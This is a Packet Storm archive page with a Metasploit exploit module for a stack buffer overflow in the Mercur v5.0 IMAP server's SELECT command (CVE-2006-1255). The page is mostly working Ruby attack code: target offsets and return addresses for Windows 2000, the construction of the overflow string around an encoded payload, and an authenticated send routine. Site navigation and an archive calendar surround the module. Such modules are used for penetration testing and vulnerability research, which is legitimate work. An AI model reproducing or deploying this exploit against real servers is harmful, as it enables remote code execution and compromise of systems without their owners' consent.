what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mercur v5.0 IMAP SP3 SELECT Buffer Overflow

Mercur v5.0 IMAP SP3 SELECT Buffer Overflow
Posted Nov 26, 2009
Authored by Jacopo Cervini | Site metasploit.com

Mercur v5.0 IMAP server is prone to a remotely exploitable stack-based buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed size memory buffer. Credit to Tim Taylor for discover the vulnerability.

tags | exploit, overflow, imap
advisories | CVE-2006-1255
SHA-256 | c2b10d51d7fe81041b5773f98702a25cb43650d4819457d1ebaa769257273fc3

Mercur v5.0 IMAP SP3 SELECT Buffer Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Imap

def initialize(info = {})
super(update_info(info,
'Name' => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',
'Description' => %q{
Mercur v5.0 IMAP server is prone to a remotely exploitable
stack-based buffer overflow vulnerability. This issue is due
to a failure of the application to properly bounds check
user-supplied data prior to copying it to a fixed size memory buffer.
Credit to Tim Taylor for discover the vulnerability.
},
'Author' => [ 'Jacopo Cervini <acaro [at] jervus.it>' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-1255' ],
[ 'OSVDB', '23950' ],
[ 'BID', '17138' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
'StackAdjustment' => -3500,

},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 Server SP4 English', { 'Offset' => 126, 'Ret' => 0x13e50b42 }],
['Windows 2000 Pro SP1 English', { 'Offset' => 127, 'Ret' => 0x1446e242 }],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 17 2006'))

end

def exploit
sploit = "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20"
sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset'])
sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8)
sploit << payload.encoded + rand_text_alpha_upper(453)

info = connect_login

if (info == true)
print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret)
sock.put(sploit + "\r\n")
else
print_status("Not falling through with exploit")
end

handler
disconnect
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close